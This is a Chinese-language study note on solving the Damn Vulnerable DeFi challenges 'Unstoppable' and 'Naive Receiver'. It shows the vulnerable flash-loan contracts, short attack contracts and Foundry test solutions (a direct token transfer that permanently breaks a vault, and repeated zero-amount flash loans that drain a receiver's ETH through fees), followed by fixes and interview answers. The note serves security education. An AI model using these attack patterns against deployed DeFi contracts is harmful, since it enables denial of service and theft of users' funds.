返回 SC 笔记
SC Day 60

DVDF #1 Unstoppable + #2 Naive Receiver

### 1. Damn Vulnerable DeFi 简介

2026-05-30
第三阶段:安全审计
damn-vulnerable-defiflash-loangriefingfee-drainctf

日期: 2026-05-30 方向: Solidity / Security 阶段: 第三阶段:安全审计 标签: #damn-vulnerable-defi #flash-loan #griefing #fee-drain #ctf


今日目标

  1. 理解 Damn Vulnerable DeFi (DVDF) 挑战的整体框架
  2. 完成 DVDF #1 Unstoppable:闪电贷池 griefing 攻击
  3. 完成 DVDF #2 Naive Receiver:通过手续费榨干用户
  4. 从每个挑战中提炼安全设计教训

核心概念

1. Damn Vulnerable DeFi 简介

Damn Vulnerable DeFi (DVDF) 是由 @tinchoabbate 创建的 DeFi 安全挑战系列,是智能合约安全学习的必经之路。

特点说明
目标通过实战理解 DeFi 安全漏洞
难度从初级到高级递进
版本V4(最新,使用 Foundry 框架)
覆盖范围闪电贷、预言机、治理、DEX、借贷等

挑战结构

每个挑战包含:

  • 合约代码:有漏洞的 DeFi 合约
  • 测试文件:定义初始状态和通过条件
  • 目标:在测试的 _isSolved() 检查中满足所有条件
典型挑战结构:
contracts/
├── [ChallengeName].sol        # 有漏洞的合约
test/
├── [ChallengeName].t.sol      # Foundry 测试
│   ├── setUp()                # 初始化场景
│   ├── test_[challenge]()     # 你写攻击代码的地方
│   └── _isSolved()            # 通过条件

2. Challenge #1: Unstoppable

场景描述

有一个提供闪电贷服务的 Vault 合约。它持有大量 DVT Token,用户可以通过闪电贷借出这些 Token(一笔交易内归还即可)。

目标:让这个闪电贷池永久停止工作(DoS),使得没有人能再借出闪电贷。

关键合约代码

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashLender.sol";

/**
 * @title UnstoppableVault
 * @notice 一个提供 ERC3156 闪电贷的 Vault
 *
 * 漏洞分析:这个合约有一个致命的假设——
 * 它假设 token 余额只会通过 deposit 增加
 */
contract UnstoppableVault is IERC3156FlashLender {
    IERC20 public immutable token;
    uint256 public totalAssets;  // 内部追踪的总资产

    // ... 省略构造函数和其他函数

    /**
     * @notice 存入 token 获取 shares
     */
    function deposit(uint256 assets, address receiver) public returns (uint256 shares) {
        // 计算 shares
        shares = _convertToShares(assets);

        // 转入 token
        token.transferFrom(msg.sender, address(this), assets);

        // 更新内部追踪
        totalAssets += assets;

        // 铸造 shares
        _mint(receiver, shares);
    }

    /**
     * @notice 执行闪电贷
     * @dev 漏洞所在的函数!
     */
    function flashLoan(
        IERC3156FlashBorrower receiver,
        address _token,
        uint256 amount,
        bytes calldata data
    ) external returns (bool) {
        require(_token == address(token), "Unsupported token");
        require(amount > 0, "Amount must be > 0");

        // ★★★ 关键漏洞检查 ★★★
        // 这里比较的是:合约实际持有的 token 余额 vs 内部追踪的 totalAssets
        uint256 balanceBefore = token.balanceOf(address(this));
        if (balanceBefore != totalAssets) {
            revert InvalidBalance();
        }
        // 如果有人直接 transfer token 到合约(绕过 deposit)
        // balanceOf > totalAssets → 检查失败 → revert!

        // 发送 token
        token.transfer(address(receiver), amount);

        // 调用借款方的回调
        require(
            receiver.onFlashLoan(msg.sender, _token, amount, 0, data)
                == keccak256("ERC3156FlashBorrower.onFlashLoan"),
            "Invalid callback return"
        );

        // 检查 token 已归还
        require(
            token.balanceOf(address(this)) >= balanceBefore,
            "Flash loan not repaid"
        );

        return true;
    }
}

漏洞分析

核心问题:合约使用了两个不一致的余额追踪机制

1. token.balanceOf(address(this)) — ERC20 的实际余额
2. totalAssets — 合约内部追踪的余额(只通过 deposit 更新)

正常情况:
  用户 deposit 100 → totalAssets = 100, balanceOf = 100 ✓

攻击后:
  攻击者直接 token.transfer(vault, 1) → totalAssets = 100, balanceOf = 101 ✗
  flashLoan 检查 balanceBefore != totalAssets → revert!
  所有闪电贷永久失效!

攻击成本:仅 1 个 DVT Token

攻击方案

// 攻击极其简单!只需一行代码
contract UnstoppableAttack {
    function attack(address vault, address token) external {
        // 直接向 vault 转入 1 个 token(不通过 deposit)
        // 这会导致 token.balanceOf(vault) > vault.totalAssets
        // 从此所有 flashLoan 调用都会 revert
        IERC20(token).transfer(vault, 1);
    }
}

Foundry 测试

// test/Unstoppable.t.sol
function test_unstoppable() public {
    // 初始状态:vault 有 1,000,000 DVT,player 有 10 DVT
    // 目标:让 vault 的闪电贷永久失效

    vm.startPrank(player);

    // 攻击:直接转 1 个 token 到 vault
    token.transfer(address(vault), 1e18);

    vm.stopPrank();

    // 验证:闪电贷现在无法使用
    _isSolved();
}

function _isSolved() private {
    // 检查:监控合约尝试执行闪电贷时应该失败
    vm.expectRevert();
    vault.flashLoan(
        IERC3156FlashBorrower(address(someReceiver)),
        address(token),
        1e18,
        ""
    );
}

教训与修复

// 修复方案1: 不使用严格等于
function flashLoan(/* params */) external returns (bool) {
    uint256 balanceBefore = token.balanceOf(address(this));
    // 使用 >= 而非 ==
    // 允许合约持有超过 totalAssets 的 token
    if (balanceBefore < totalAssets) {
        revert InvalidBalance();
    }
    // ...
}

// 修复方案2: 完全依赖 balanceOf(不维护 totalAssets)
function flashLoan(/* params */) external returns (bool) {
    uint256 balanceBefore = token.balanceOf(address(this));
    // 不检查 totalAssets,直接用 balanceOf
    token.transfer(address(receiver), amount);
    // ...
    require(
        token.balanceOf(address(this)) >= balanceBefore,
        "Not repaid"
    );
    return true;
}

// 修复方案3: 在 flashLoan 中同步 totalAssets
function flashLoan(/* params */) external returns (bool) {
    // 先同步内部追踪和实际余额
    uint256 currentBalance = token.balanceOf(address(this));
    if (currentBalance > totalAssets) {
        totalAssets = currentBalance; // 接受额外的 token
    }
    // ...
}

3. Challenge #2: Naive Receiver

场景描述

有一个闪电贷池和一个用于接收闪电贷的用户合约(FlashLoanReceiver)。FlashLoanReceiver 有 10 ETH 余额。每次闪电贷收取固定费用。

目标:在一笔交易中榨干 FlashLoanReceiver 的所有 ETH。

关键合约代码

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/**
 * @title NaiveReceiverPool
 * @notice 提供 ETH 闪电贷的池子
 */
contract NaiveReceiverPool {
    uint256 private constant FIXED_FEE = 1 ether; // 每次闪电贷固定收费 1 ETH

    receive() external payable {}

    /**
     * @notice 执行闪电贷
     * @param receiver 借款方合约地址
     * @param amount 借款金额
     */
    function flashLoan(address receiver, uint256 amount) external {
        uint256 balanceBefore = address(this).balance;
        require(balanceBefore >= amount, "Not enough ETH");

        // ★ 注意:这里没有检查 msg.sender == receiver !
        // 任何人都可以指定 receiver 来强制别人使用闪电贷

        // 发送 ETH 到 receiver
        (bool success,) = receiver.call{value: amount}(
            abi.encodeWithSignature(
                "receiveEther(uint256)",
                FIXED_FEE
            )
        );
        require(success, "External call failed");

        // 检查:ETH 已归还 + 手续费
        require(
            address(this).balance >= balanceBefore + FIXED_FEE,
            "Flash loan not repaid"
        );
    }
}

/**
 * @title FlashLoanReceiver
 * @notice 一个"天真的"闪电贷接收者
 */
contract FlashLoanReceiver {
    address public pool;

    constructor(address _pool) {
        pool = _pool;
    }

    /**
     * @notice 接收闪电贷回调
     * @dev 漏洞:只检查调用者是不是 pool,不检查是谁发起的闪电贷
     */
    function receiveEther(uint256 fee) external payable {
        require(msg.sender == pool, "Only pool");
        // 漏洞:不检查是否是自己发起的闪电贷!
        // 任何人调用 pool.flashLoan(thisAddress, 0)
        // 都会触发这个回调,然后自动归还 amount + fee

        uint256 amountToReturn = msg.value + fee;
        require(
            address(this).balance >= amountToReturn,
            "Cannot repay"
        );

        // 归还借款 + 手续费
        (bool success,) = pool.call{value: amountToReturn}("");
        require(success, "Repay failed");
    }

    receive() external payable {}
}

漏洞分析

核心问题:
1. Pool.flashLoan 的 receiver 参数可以是任意地址
   → 任何人都可以"代替"别人借闪电贷

2. FlashLoanReceiver 只检查调用者是 pool,不检查发起者
   → 被动接受任何来自 pool 的闪电贷请求

攻击过程:
  Receiver 余额: 10 ETH
  每次闪电贷手续费: 1 ETH

  攻击者调用 pool.flashLoan(receiver, 0) — 借 0 ETH
  → Pool 给 Receiver 发 0 ETH + 调用 receiveEther(1 ETH fee)
  → Receiver 自动归还 0 + 1 = 1 ETH 给 Pool
  → Receiver 余额: 9 ETH

  重复 10 次...
  → Receiver 余额: 0 ETH ← 被榨干!

攻击方案

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/**
 * @title NaiveReceiverAttack
 * @notice 在一笔交易中连续调用10次闪电贷,榨干 receiver
 */
contract NaiveReceiverAttack {
    function attack(address pool, address receiver) external {
        // 连续调用 10 次闪电贷
        // 每次借 0 ETH,但 receiver 被迫支付 1 ETH 手续费
        for (uint256 i = 0; i < 10; i++) {
            NaiveReceiverPool(pool).flashLoan(receiver, 0);
        }
        // 10 次后 receiver 的 10 ETH 全部变成了 pool 的手续费
    }
}

interface NaiveReceiverPool {
    function flashLoan(address receiver, uint256 amount) external;
}

Foundry 测试

// test/NaiveReceiver.t.sol
function test_naiveReceiver() public {
    // 初始状态:
    //   pool: 1000 ETH
    //   receiver: 10 ETH
    // 目标:在一笔交易中让 receiver 余额变为 0

    vm.startPrank(player);

    // 部署攻击合约
    NaiveReceiverAttack attacker = new NaiveReceiverAttack();
    attacker.attack(address(pool), address(receiver));

    vm.stopPrank();

    _isSolved();
}

function _isSolved() private view {
    // 检查1:receiver 余额为 0
    assertEq(address(receiver).balance, 0);

    // 检查2:pool 余额增加了 10 ETH(来自手续费)
    assertEq(address(pool).balance, 1010 ether);
}

更优雅的攻击(不部署合约)

// 使用 Foundry 直接在测试中调用
function test_naiveReceiver() public {
    vm.startPrank(player);

    for (uint256 i = 0; i < 10; i++) {
        pool.flashLoan(address(receiver), 0);
    }

    vm.stopPrank();

    _isSolved();
}

教训与修复

// 修复1: FlashLoanReceiver 检查发起者
contract FlashLoanReceiverFixed {
    address public pool;
    address public owner;

    constructor(address _pool) {
        pool = _pool;
        owner = msg.sender;
    }

    function receiveEther(uint256 fee) external payable {
        require(msg.sender == pool, "Only pool");
        // 添加:只接受自己发起的闪电贷
        // 但问题是...pool 没有传递 initiator 信息
        // 这说明 pool 的设计也有问题!
    }

    // 更好的方案:自己发起闪电贷
    function executeFlashLoan(uint256 amount) external {
        require(msg.sender == owner, "Only owner");
        NaiveReceiverPool(pool).flashLoan(address(this), amount);
    }
}

// 修复2: Pool 传递发起者信息(ERC3156 标准做法)
contract PoolFixed {
    function flashLoan(
        IERC3156FlashBorrower receiver,
        address token,
        uint256 amount,
        bytes calldata data
    ) external returns (bool) {
        // ...
        // ERC3156 标准:传递 initiator (msg.sender)
        require(
            receiver.onFlashLoan(
                msg.sender,  // ← initiator,receiver 可以检查这个
                token,
                amount,
                fee,
                data
            ) == CALLBACK_SUCCESS,
            "Invalid callback"
        );
        // ...
    }
}

关键要点总结

Challenge #1 Unstoppable 教训

教训说明
不要使用严格等于比较余额balanceOf == totalAssets 很容易被打破
考虑所有资金流入途径token.transfer 可以绕过 deposit
selfdestruct / transfer 可以强制发送合约无法拒绝接收 token/ETH
内部记账 vs 实际余额两者可能不一致,需要优雅处理

DoS/Griefing 攻击模式总结

Griefing = 攻击者不获利,但让其他人无法使用系统

常见 Griefing 向量:
1. 余额不一致 → 严格等于检查失败
2. Gas 耗尽 → 外部调用消耗过多 gas
3. 总是 revert → 恶意回调总是回滚
4. 区块 gas limit → 循环过多超过限制

Challenge #2 Naive Receiver 教训

教训说明
验证闪电贷发起者receiver 应检查谁发起了闪电贷
遵循标准(ERC3156)标准协议传递 initiator 信息
不要盲目信任调用源msg.sender == pool 不够,还需验证意图
考虑被动调用风险你的合约可能被别人"代为"调用

受害者保护检查清单

设计闪电贷 receiver 时:
□ 检查 initiator 是否是预期的地址
□ 检查 amount 是否是自己请求的
□ 检查 fee 是否在可接受范围
□ 是否有紧急暂停机制
□ 是否限制了谁可以触发闪电贷

两个挑战的共性

共同模式:
1. 都利用了"谁可以调用"的权限漏洞
   #1: 任何人都可以向合约转 token
   #2: 任何人都可以指定 receiver 地址

2. 都涉及"意外的外部输入"
   #1: 直接 transfer 绕过 deposit
   #2: 第三方发起闪电贷

3. 修复思路都是"验证更多条件"
   #1: 不依赖严格余额等式
   #2: 验证闪电贷发起者身份

常见误区

误区 1:"Griefing 攻击不重要,因为攻击者不获利"

错误!Griefing 可以:

  • 永久瘫痪协议(如 Unstoppable)
  • 配合其他攻击使用(先 DoS 清算机制,再操纵价格)
  • 造成声誉损失和用户流失
  • 在竞争对手之间使用(商业攻击)

误区 2:"借 0 个 Token 的闪电贷没有意义"

Challenge #2 证明了即使借 0 个 Token,闪电贷的副作用(手续费)也可以被用来攻击。关键是手续费从 receiver 扣除,而发起者不是 receiver。

误区 3:"ERC20 token 只能通过 approve+transferFrom 进入合约"

token.transfer(contractAddress, amount) 可以直接向合约发送 token,且不触发合约的任何回调。合约的 totalAssets 等内部记账不会更新。这是 Unstoppable 漏洞的根源。

误区 4:"DVDF 只是 CTF 游戏,不反映真实漏洞"

DVDF 的每个挑战都基于真实的 DeFi 安全事件。Unstoppable 的余额不一致问题在多个审计中发现,Naive Receiver 的"代替他人操作"模式也在真实协议中出现过。


面试关联

Q: 描述一个 DeFi 协议的 DoS(拒绝服务)攻击向量

简短回答:通过直接向闪电贷池 transfer token,打破合约内部余额追踪与实际余额的一致性,导致所有闪电贷操作永久 revert。

详细回答(以 Unstoppable 为例):

  1. 合约维护 totalAssets 追踪存入的 token 数量
  2. flashLoan 检查 token.balanceOf(this) == totalAssets
  3. 攻击者直接调用 token.transfer(vault, 1)——不经过 deposit
  4. 现在 balanceOf > totalAssets,检查永远失败
  5. 所有 flashLoan 调用永久 revert
  6. 修复:使用 >= 而非 ==,或在余额不一致时同步 totalAssets

Q: 如何安全地设计闪电贷 receiver?

回答(基于 Naive Receiver 教训):

  1. 验证 initiator:在 onFlashLoan 回调中检查 initiator 是否是自己(而非第三方)
  2. 使用 ERC3156 标准:标准回调包含 initiator 参数
  3. 限制调用权限:只允许 owner 触发闪电贷操作
  4. 验证参数:检查 amount 和 fee 是否合理
  5. 紧急机制:有暂停或限额功能

Q: 什么是 Griefing 攻击?与经济攻击有什么区别?

回答

  • Griefing:攻击者不直接获利,目的是破坏系统可用性。例如 Unstoppable(瘫痪闪电贷)。攻击成本低(1 个 token),但造成系统级损害。
  • 经济攻击:攻击者直接获利。例如闪电贷价格操纵(借入资金→操纵价格→获利→归还)。
  • 有时两者结合:先 griefing(瘫痪清算机制),再经济攻击(操纵价格获利)。

参考资源